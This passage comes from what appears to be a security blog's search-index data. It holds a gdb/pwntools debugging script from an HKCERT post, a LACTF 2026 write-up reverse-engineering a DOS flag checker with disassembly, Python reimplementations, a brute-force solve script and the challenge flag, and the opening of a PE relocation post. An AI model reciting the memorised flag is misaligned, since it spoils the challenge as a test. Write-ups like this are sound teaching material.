class=\"n\"\u003eprm\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ebp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;40684B\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003etrace\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;rax\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprompt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;b * 0x\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ebp\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eshouldInFunc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esta_func_debug\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x405BC0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eend_func_debug\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x406DB4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eshouldInFunc\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprompt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;b * \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eend_func_debug\u003c/span\u003e\u003cspan class=\"si\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e#x\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprompt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;run\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003epattern\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;aaa63aaaadaaaaea\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esendline\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epattern\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Input: \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003epattern\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecounter\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecounter\u003c/span\u003e \u003cspan class=\"o\"\u003e:=\u003c/span\u003e \u003cspan class=\"n\"\u003ecounter\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eshouldInFunc\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nb\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ereceive\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;printf \u0026#34;%u\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003en\u0026#34;, $rip\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e()),\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eend_func_debug\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003edump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;printf \u0026#34;%u\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003en\u0026#34;, $\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003etrace\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprompt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eKhi mình muốn xem giá trị của 1 cái gì đấy thì chỉ cần chỉnh lại breakpoint và thêm số lần muốn xem lại giá trị đấy là được\u003c/p\u003e","title":"HKCERT"},{"content":"lactf-1986 Dug around the archives and found a floppy disk containing a long-forgotten LA CTF challenge. Perhaps you may be the first to solve it in decades.\nOverview This was a really fun challenge that I solved during LACTF 2026. The binary was programmed in a 16-bit x86 DOS environment, which immediately made the analysis more interesting. One of the main difficulties came from the limited tools available for analyzing this binary and converting it into a readable C-like pseudocode, instead we have to work directly with the raw low-level assembly code.\nThe tools that I used to solve this challenge are DOSbox-x for debugging and radare2, IDA for disassembling\nReconnaissance The challenge gives us only CHALL.IMG which is a floppy disk image file type\n1 2 $ file CHALL.IMG CHALL.IMG: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID \u0026#34;IPRT 6.2\u0026#34;, root entries 224, sectors 2880 (volumes \u0026lt;=32 MB), sectors/FAT 9, sectors/track 18, serial number 0x46ba57e0, label: \u0026#34; \u0026#34;, FAT (12 bit), followed by FAT Using binwalk we can extract all the embedded files in this image. However, in this challenge, I recommend to use 7zip\u0026rsquo;s extraction tool, which is a really nice and fast way to retrieve the CHALL.EXE file\nUsing strings CHALL.exe to collect some useful clues, we can see these things\n1 2 3 4 5 6 7 8 UCLA NetSec presents: LACTF \u0026#39;86 Flag Checker Check your Flag: Sorry, the flag must begin with \u0026#34;lactf{...\u0026#34; Sorry, that\u0026#39;s not the flag. Indeed, that\u0026#39;s the flag! Not enough memory to allocate file structures Floating-point support not loaded 0123456789abcdefghijklmnopqrstuvwxyz This is definitely a flag checker challenge\nAnalyze I would not dive deeply into my really tough analyzing process, I will directly point to the correct path of this challenge.\nAt first glance, I will use IDA to quickly analyze the challenge, however, the analyzed binary is just a bunch of raw assembly\u0026rsquo;s code. At this moment, I know I have to start dynamic debugging. Opening DOSbox-x debugger and setting our classic analysis environment\nThe program flow should be\nRead input -\u0026gt; check prefix -\u0026gt; do some changes with the input -\u0026gt; compare In DOS, reading input should look like this\n1 2 mov ah,3fh int 21h My next move is starting to dynamic debugging. First of all I will set breakpoint at int 21h using bpint 21 then turn on logging executing instruction in DOSbox-x using log 10000 then I spam f5 (this shortcut likely continues the program). Then analyze the LOGCPU.txt from DOSbox-x.\nI search for the aforementioned reading input pattern. And I can easily figure out this program\u0026rsquo;s flow\nReading input -\u0026gt; fnc.0000027E (get length) -\u0026gt; fcn.000000b0 (prefix\u0026#39;s checker) -\u0026gt; fcn.00000010 (maybe encryption) -\u0026gt; compare with ciphertext fcn.00000010\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 ┌ 107: fcn.00000010 (int16_t arg1); │ `- args(ax) vars(3:sp[0xc..0x10]) │ 0000:0010 50 push ax ; arg1 │ 0000:0011 b81200 mov ax, 0x12 │ 0000:0014 e8b601 call fcn.000001cd │ 0000:0017 58 pop ax │ 0000:0018 53 push bx │ ; DATA XREF from fcn.00001a14 @ 0x1a22(r) │ 0000:0019 51 push cx │ ; DATA XREF from fcn.00000776 @ 0x7be(r) │ ; DATA XREFS from segment.seg_001 @ +0x2e6(r), +0x2e8(r) │ 0000:001a 56 push si │ 0000:001b 57 push di │ ; DATA XREF from fcn.00001f7a @ 0x2038(r) │ 0000:001c 55 push bp │ 0000:001d 89e5 mov bp, sp │ 0000:001f 83ec04 sub sp, 4 │ ; DATA XREFS from fcn.000000b0 @ 0xd6(r), 0xd9(w) │ ; DATA XREF from fcn.00002150 @ 0x2171(r) │ 0000:0022 50 push ax │ ; DATA XREF from fcn.00000dec @ 0xdfd(r) │ 0000:0023 c746fc0000 mov word [var_4h], 0 │ 0000:0028 31f6 xor si, si │ ; CODE XREF from fcn.00000010 @ 0x6c(x) │ ┌─\u0026gt; 0000:002a 8b5efa mov bx, word [var_6h] │ ╎ ; XREFS: DATA 0x00000df9 DATA 0x00000f59 DATA 0x000011ed DATA 0x000019f7 DATA 0x00001b69 DATA 0x00001bd9 │ ╎ 0000:002d 8a07 mov al, byte [bx] │ ╎ 0000:002f 8846fe mov byte [var_2h], al │ ╎ 0000:0032 ff46fa inc word [var_6h] │ ╎ 0000:0035 84c0 test al, al │ ┌──\u0026lt; 0000:0037 7435 je 0x6e │ │╎ ; DATA XREFS from fcn.00000ca4 @ 0xcc8(r), 0xd12(r) │ │╎ 0000:0039 8b5efc mov bx, word [var_4h] │ │╎ 0000:003c 89f7 mov di, si │ │╎ ; DATA XREF from fcn.00002054 @ 0x205c(r) │ │╎ ; DATA XREF from fcn.000022e9 @ +0x18(r) │ │╎ 0000:003e b90600 mov cx, 6 │ │╎ ; CODE XREF from fcn.00000010 @ 0x45(x) │ │╎ ; DATA XREF from fcn.00001a14 @ 0x1a29(x) │ ┌───\u0026gt; 0000:0041 d1e3 shl bx, 1 │ ╎│╎ ; DATA XREF from fcn.00001078 @ 0x112d(r) │ ╎│╎ 0000:0043 d1d7 rcl di, 1 │ ││╎ ; DATA XREF from fcn.00001078 @ 0x1129(r) │ └───\u0026lt; 0000:0045 e2fa loop 0x41 │ │╎ ; DATA XREF from fcn.00001078 @ 0x147c(r) │ │╎ 0000:0047 8b46fc mov ax, word [var_4h] │ │╎ ; DATA XREF from fcn.000000b0 @ 0xed(r) │ │╎ ; DATA XREF from entry0 @ 0x3c4(r) │ │╎ ; DATA XREF from fcn.00002328 @ 0x2359(r) │ │╎ 0000:004a 89f2 mov dx, si │ │╎ ; DATA XREF from fcn.000004e1 @ 0x520(r) │ │╎ ; DATA XREF from fcn.00000ca4 @ 0xd53(r) │ │╎ 0000:004c d1e0 shl ax, 1 │ │╎ ; DATA XREF from fcn.00000ca4 @ 0xdc3(r) │ │╎ 0000:004e d1d2 rcl dx, 1 │ │╎ ; DATA XREFS from fcn.000000b0 @ 0xe0(r), 0xe3(w) │ │╎ ; DATA XREF from fcn.00001078 @ 0x1125(r) │ │╎ ; DATA XREF from fcn.00002150 @ 0x2168(r) │ │╎ 0000:0050 01d8 add ax, bx │ │╎ 0000:0052 11d7 adc di, dx │ │╎ 0000:0054 8b56fc mov dx, word [var_4h] │ │╎ ; DATA XREF from fcn.00000ca4 @ 0xdbf(r) │ │╎ 0000:0057 01c2 add dx, ax │ │╎ 0000:0059 11f7 adc di, si │ │╎ 0000:005b 8a46fe mov al, byte [var_2h] │ │╎ 0000:005e 30e4 xor ah, ah │ │╎ 0000:0060 31f6 xor si, si │ │╎ ; DATA XREFS from fcn.00001078 @ 0x10a5(r), 0x146e(r) │ │╎ 0000:0062 01c2 add dx, ax │ │╎ ; DATA XREFS from fcn.00001078 @ 0x10dc(r), 0x1121(r) │ │╎ 0000:0064 8956fc mov word [var_4h], dx │ │╎ ; DATA XREF from fcn.00001078 @ 0x1417(r) │ │╎ 0000:0067 11fe adc si, di │ │╎ ; DATA XREFS from fcn.00001078 @ 0x1179(r), 0x1413(r) │ │╎ 0000:0069 83e60f and si, 0xf │ ││ ; DATA XREF from fcn.00000ca4 @ 0xd88(r) │ │└─\u0026lt; 0000:006c ebbc jmp 0x2a │ │ ; CODE XREF from fcn.00000010 @ 0x37(x) │ │ ; DATA XREF from entry0 @ 0x448(x) │ │ ; DATA XREF from fcn.00000a85 @ 0xaee(x) │ └──\u0026gt; 0000:006e 8b46fc mov ax, word [var_4h] │ 0000:0071 89f2 mov dx, si │ ; DATA XREF from fcn.00000a85 @ 0xbe6(r) │ ; DATA XREF from fcn.00001078 @ 0x1315(r) │ 0000:0073 89ec mov sp, bp │ ; DATA XREFS from fcn.00001078 @ 0x10d0(r), 0x1409(r) │ 0000:0075 5d pop bp │ ; CODE XREF from fcn.0000007b @ 0xae(x) │ 0000:0076 5f pop di │ ; DATA XREF from fcn.00000ca4 @ 0xda2(r) │ 0000:0077 5e pop si │ ; DATA XREFS from fcn.00001078 @ 0x10d4(r), 0x13b8(r) │ 0000:0078 59 pop cx │ 0000:0079 5b pop bx │ ; DATA XREF from fcn.00000ca4 @ 0xd9e(r) └ 0000:007a c3 ret After analyzing this, this is just a simple hash the input using multi-precision technique, the 32-bit integer result is stored in dx:ax\n1 2 3 4 5 def hash(input: str) -\u0026gt; int: h = 0 for c in input: h = (67 * h + ord(c)) \u0026amp; 0xFFFFF return h Then the program starts its comparision with the hardcoded ciphertext hidden in the binary. Our input will be hashed by the above algorithms, then the program will loop 0x49 times. In each loop, it calls fcn.0000007b to make some encoding or math with the hash value, then it uses the low byte of computed value to compare with the ciphertext if all is matched, the flag is correct\nExtracted ciphertext\n1 2 3 4 5 6 7 8 0A5C:0BBA B6 8C 95 8F 9B 85 4C 5E EC B6 B8 C0 97 93 0B 58 0A5C:0BCA 77 50 B0 2C 7E 28 7A F1 B6 04 EF BE 5C 44 78 E8 0A5C:0BDA 99 81 04 8F 03 40 A7 3F FA B7 08 01 63 52 E3 AD 0A5C:0BEA D1 85 9F 94 21 D5 2A 5C 20 D4 31 12 CE AA 16 C7 0A5C:0BFA AD DF 29 5D 72 FC 24 90 2C 0A 5B 0C 00 00 70 0C 0A5C:0C0A 60 0C 20 0C DC 0C 60 0C FF FF 1E 21 B0 0C 00 00 0A5C:0C1A 5C 0A B2 0C 5C 0A 2E 0C 0C 00 60 0C FF FF 5B 17 0A5C:0C2A 0E 00 01 fcn.0000007b\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ╎ ; CALL XREF from fcn.000000b0 @ 0x189(x) ┌ 53: fcn.0000007b (int16_t arg1); │ `- args(ax) │ ╎ 0000:007b 50 push ax ; arg1 │ ╎ 0000:007c b80a00 mov ax, 0xa │ ╎ 0000:007f e84b01 call fcn.000001cd │ ╎ 0000:0082 58 pop ax │ ╎ 0000:0083 53 push bx │ ╎ 0000:0084 51 push cx │ ╎ 0000:0085 56 push si │ ╎ ; DATA XREF from fcn.00000a19 @ 0xa2d(w) │ ╎ 0000:0086 57 push di │ ╎ 0000:0087 89c3 mov bx, ax │ ╎ 0000:0089 89d6 mov si, dx │ ╎ 0000:008b b90300 mov cx, 3 │ ╎ ; CODE XREF from fcn.0000007b @ 0x92(x) │ ┌──\u0026gt; 0000:008e d1ea shr dx, 1 │ ╎╎ ; DATA XREF from segment.seg_001 @ +0x18c(r) │ ╎╎ 0000:0090 d1d8 rcr ax, 1 │ └──\u0026lt; 0000:0092 e2fa loop 0x8e │ ╎ 0000:0094 89c7 mov di, ax │ ╎ 0000:0096 31df xor di, bx │ ╎ 0000:0098 83e701 and di, 1 │ ╎ 0000:009b 89d8 mov ax, bx │ ╎ 0000:009d 89f2 mov dx, si │ ╎ ; DATA XREF from fcn.000021e7 @ +0x3d(r) │ ╎ 0000:009f d1ea shr dx, 1 │ ╎ 0000:00a1 d1d8 rcr ax, 1 │ ╎ 0000:00a3 b103 mov cl, 3 │ ╎ 0000:00a5 89fe mov si, di │ ╎ 0000:00a7 d3e6 shl si, cl │ ╎ 0000:00a9 09f2 or dx, si │ ╎ 0000:00ab 83e20f and dx, 0xf └ └─\u0026lt; 0000:00ae ebc6 jmp 0x76 ; fcn.00000010+0x66 Equivalent python code\n1 2 3 4 5 def encrypt(hash): k = ((hash \u0026gt;\u0026gt; 3) ^ hash) \u0026amp; 1 hash = (hash \u0026gt;\u0026gt; 1) | (k \u0026lt;\u0026lt; 19) hash \u0026amp;= 0xFFFFF return hash Compare stub\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 │ ┌───\u0026gt; 0000:0178 46 inc si │ ╎││ 0000:0179 89364401 mov word [0x144], si │ ╎││ 0000:017d 83fe49 cmp si, 0x49 ; \u0026#39;I\u0026#39; │ ╎││ ; DATA XREF from fcn.00000ca4 @ 0xdb6(r) │ ┌────\u0026lt; 0000:0180 7d2e jge 0x1b0 │ │╎││ ; CODE XREF from fcn.000000b0 @ 0x176(x) │ │╎│└─\u0026gt; 0000:0182 a14603 mov ax, word [0x346] ; [0x346:2]=0x6300 │ │╎│ 0000:0185 8b164803 mov dx, word [0x348] ; [0x348:2]=0x6e6f │ │╎│ 0000:0189 e8effe call fcn.0000007b │ │╎│ 0000:018c a34603 mov word [0x346], ax │ │╎│ 0000:018f 89164803 mov word [0x348], dx │ │╎│ 0000:0193 8b364401 mov si, word [0x144] ; [0x144:2]=0xb805 │ │╎│ 0000:0197 807aea00 cmp byte [bp + si - 0x16], 0 │ │╎│┌─\u0026lt; 0000:019b 7413 je 0x1b0 │ │╎││ 0000:019d a04603 mov al, byte [0x346] ; [0x346:1]=0 │ │╎││ ; DATA XREF from fcn.000001ff @ +0x14(r) │ │╎││ 0000:01a0 3242ea xor al, byte [bp + si - 0x16] │ │╎││ 0000:01a3 88427e mov byte [bp + si + 0x7e], al │ │╎││ 0000:01a6 3a4234 cmp al, byte [bp + si + 0x34] │ │└───\u0026lt; 0000:01a9 74cd je 0x178 │ │ ││ 0000:01ab b89100 mov ax, 0x91 │ │┌───\u0026lt; 0000:01ae eb03 jmp 0x1b3 Full script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/home/ryou/.venvs/rev/bin/python def hash(input: str) -\u0026gt; int: h = 0 for c in input: h = (67 * h + ord(c)) \u0026amp; 0xFFFFF return h def encrypt(hash): k = ((hash \u0026gt;\u0026gt; 3) ^ hash) \u0026amp; 1 hash = (hash \u0026gt;\u0026gt; 1) | (k \u0026lt;\u0026lt; 19) hash \u0026amp;= 0xFFFFF return hash ciphertext = bytearray.fromhex(\u0026#39;\u0026#39;\u0026#39; B6 8C 95 8F 9B 85 4C 5E EC B6 B8 C0 97 93 0B 58 77 50 B0 2C 7E 28 7A F1 B6 04 EF BE 5C 44 78 E8 99 81 04 8F 03 40 A7 3F FA B7 08 01 63 52 E3 AD D1 85 9F 94 21 D5 2A 5C 20 D4 31 12 CE AA 16 C7 AD DF 29 5D 72 FC 24 90 2C 0A 5B 0C 00 00 70 0C 60 0C 20 0C DC 0C 60 0C FF FF 1E 21 B0 0C 00 00 5C 0A B2 0C 5C 0A 2E 0C 0C 00 60 0C FF FF 5B 17 0E 00 01 \u0026#39;\u0026#39;\u0026#39;) flag = input() hash = hash(flag) if not flag.startswith(\u0026#39;lactf\u0026#39;): print(\u0026#34;Sorry!\u0026#34;) exit(-1) for i in range(len(flag)): x = ord(flag[i]) hash = encrypt(hash) if (x ^ (hash \u0026amp; 0xFF)) != ciphertext[i]: print(\u0026#34;Sorry thats not the flag!\u0026#34;) exit(-1) print(\u0026#34;Correct!\u0026#34;) Since seed only belongs to [0, 0xFFFFF] so we can easily perform a brute force technique\nSolve script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/home/ryou/.venvs/rev/bin/python def hash(input: str) -\u0026gt; int: h = 0 for c in input: h = (67 * h + ord(c)) \u0026amp; 0xFFFFF return h def encrypt(hash): k = ((hash \u0026gt;\u0026gt; 3) ^ hash) \u0026amp; 1 hash = (hash \u0026gt;\u0026gt; 1) | (k \u0026lt;\u0026lt; 19) hash \u0026amp;= 0xFFFFF return hash ciphertext = bytearray.fromhex(\u0026#39;\u0026#39;\u0026#39; B6 8C 95 8F 9B 85 4C 5E EC B6 B8 C0 97 93 0B 58 77 50 B0 2C 7E 28 7A F1 B6 04 EF BE 5C 44 78 E8 99 81 04 8F 03 40 A7 3F FA B7 08 01 63 52 E3 AD D1 85 9F 94 21 D5 2A 5C 20 D4 31 12 CE AA 16 C7 AD DF 29 5D 72 FC 24 90 2C 0A 5B 0C 00 00 70 0C 60 0C 20 0C DC 0C 60 0C FF FF 1E 21 B0 0C 00 00 5C 0A B2 0C 5C 0A 2E 0C 0C 00 60 0C FF FF 5B 17 0E 00 01 \u0026#39;\u0026#39;\u0026#39;) for seed in range(1 \u0026lt;\u0026lt; 20): flag = [] hash = seed for i in range(73): hash = encrypt(hash) flag.append(ciphertext[i] ^ (hash \u0026amp; 0xff)) try: res = bytes(flag).decode() if \u0026#39;lactf\u0026#39; in res: print(res) exit(0) except Exception as e: pass FLAG lactf{3asy_3nough_7o_8rute_f0rce_bu7_n0t_ea5y_en0ugh_jus7_t0_brut3_forc3}\n","permalink":"https://ryouthecat.github.io/posts/ctf/lactf2026/","summary":"\u003ch3 id=\"lactf-1986\"\u003elactf-1986\u003c/h3\u003e\n\u003cblockquote\u003e\n    \u003cp\u003eDug around the archives and found a floppy disk containing a long-forgotten LA CTF challenge. Perhaps you may be the first to solve it in decades.\u003c/p\u003e\n\n  \u003c/blockquote\u003e\u003ch3 id=\"overview\"\u003eOverview\u003c/h3\u003e\n\u003cp\u003eThis was a really fun challenge that I solved during LACTF 2026. The binary was programmed in a 16-bit x86 DOS environment, which immediately made the analysis more interesting. One of the main difficulties came from the limited tools available for analyzing this binary and converting it into a readable C-like pseudocode, instead we have to work directly with the raw low-level assembly code.\u003c/p\u003e","title":"LACTF"},{"content":"Prolouge: The purpose of this page is to describe what is Relocation in Window PE and analyze Relocation Table in Window PE!\nIntroduction Basically, Relocation is just a loader apply the base relocation table to fix all aboslute value of (EXE/DLL) files if they were not loaded into the prefered ImageBase. This can happen due to ASLR mechanism or due to the fact that the expected loading base has been 